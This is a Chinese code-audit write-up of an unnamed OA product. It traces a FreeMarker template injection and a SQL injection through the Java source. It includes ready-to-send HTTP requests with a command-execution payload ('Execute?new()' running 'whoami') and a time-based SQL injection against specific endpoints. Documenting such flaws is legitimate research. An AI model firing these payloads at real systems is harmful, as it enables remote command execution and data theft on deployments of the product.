某OA代码审计过程

admin 2024年11月21日10:58:39评论15 views字数 2340阅读7分48秒阅读模式

此OA听过,但从来没有去研究过,所以简单分析研究一下,发现此OA并不复杂且因为闭源的原因所以分析起来比较轻松。

模板注入

查看JSP文件通过Template名字或者一些代码信息能够发现是以模板的形式进行参数传递,并且对路径需要的传参也给出来了,分别为moduId,code,uuid

某OA代码审计过程
通过搜索viewConTemplate定位后端处理该消息的代码

某OA代码审计过程

某OA代码审计过程
通过上图所示可以发现viewConTemplate函数对该请求进行处理,首先通过if条件语句判断临时模板目录是否存在,如果不存在则新建目录以uuid命名以ftl后缀为文件

try {
String sameName = this.uuid + ".ftl";
File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);
if (!file.exists()) {file.mkdirs();}

out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);

然后通过get请求传入code参数并对code参数中传入的敏感字符进行编码替换

out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
            String code = this.request.getParameter("code");
            code = URLDecoder.decode(code, "UTF-8");
            code = code.replaceAll("&lt;", "<").replaceAll("&quot;", """).replaceAll("&#39;", "'").replaceAll("&gt;", ">").replaceAll("&nbsp;", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&amp;", "&");

最后通过字节流的形式写入为临时文件

byte[] b = code.getBytes();
out.write(b);
out.flush();

然后通过模板渲染功能调用刚刚写入临时文件中的数据

某OA代码审计过程
通过调用FreemarkerConfiguration类中的getTemplateTemp()静态方法取出临时文件数据

某OA代码审计过程
读取临时文件内容并渲染成frremaker模板,因为我们的code参数可控从而造成模板注入漏洞,我们可以构造如下payload

code=${"freemarker.template.utility.Execute"?new()("chdir")}

上述payload我们使用的freemaker自带的Execute类中自带的命令执行函数,如下图所示,具体可以参考github

某OA代码审计过程
根据前端页面接收的所有参数把uuid,moduId传参进行请求,参数任意即可

某OA代码审计过程
数据包如下:

POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1

某OA代码审计过程

SQL注入

这个漏洞好像是一个通用组件漏洞,用友时空也存在该漏洞

通过请求接口名去搜索后端处理处理的代码

某OA代码审计过程

某OA代码审计过程
如上如可发现接收参数很多,且我们通过分析发现readimage函数存在SQL执行语句看样子没有然和过滤限制等问题

某OA代码审计过程
我们再回头来看imagefield文件发现如果要进入readimage逻辑进行处理需要strKey等于readimage,那么我们可以发现strKey为key字段且通过GET请求进行传参处理

某OA代码审计过程
且通过上述分析readimage函数中的SQL语句可以知道需要四个参数,并且该四个参数都可以通过GET请求传参,但是其中有一个问题就是sTablename需要指定表名,不过一般数据库都有自带的表名和数据库名因此也不算啥大问题

某OA代码审计过程

某OA代码审计过程
最终payload如下:

POST /jc6/servlet/imagefield HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 158
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77
key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR
DELAY '0:0:3'--

某OA代码审计过程

 

原文始发于微信公众号(Web安全工具库):某OA代码审计过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日10:58:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某OA代码审计过程https://cn-sec.com/archives/3408581.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息